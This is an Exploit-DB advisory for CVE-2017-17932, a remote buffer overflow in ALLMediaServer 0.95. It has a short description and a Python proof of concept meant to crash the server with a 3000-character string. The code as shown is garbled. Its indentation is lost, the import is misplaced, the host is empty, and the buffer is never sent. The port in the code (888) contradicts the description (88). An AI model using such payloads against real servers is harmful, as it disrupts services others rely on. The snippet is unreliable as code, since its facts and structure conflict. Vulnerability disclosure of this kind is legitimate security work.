ALLMediaServer 0.95 - Buffer Overflow

EDB-ID: 43406
Author: Aloyce J. Makalanga
Published: 2017-12-27
CVE: CVE-2017-17932
Type: Dos
Platform: Windows
Vulnerable App: N/A

 # CVE: CVE-2017-17932 
# Date: 27-12-2017
# Exploit Author: Aloyce J. Makalanga
# Contact:
# Vendor Homepage:
# Category: webapps
# Attack Type: Remote
# Impact: Code execution and/or Denial of Service

1. Description

A buffer overflow vulnerability exists in MediaServer.exe in ALLPlayer ALLMediaServer 0.95 and earlier that could allow remote attackers to execute arbitrary code and/or cause denial of service on the victim machine/computer via a long string to TCP port 88. Te exploit this vulnerability, an attacker must connect to the server with a long-malicious string.

2. Proof of Concept


#NOTE: I found this bug via patch-diffing and I had IDA Pro set up as my Just-In-Time debugger at the time of the crash but any debugger should work.

def main():

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect(('', 888))

buffer = "A" * 3000



if __name__ == '__main__':
import socket


Related Posts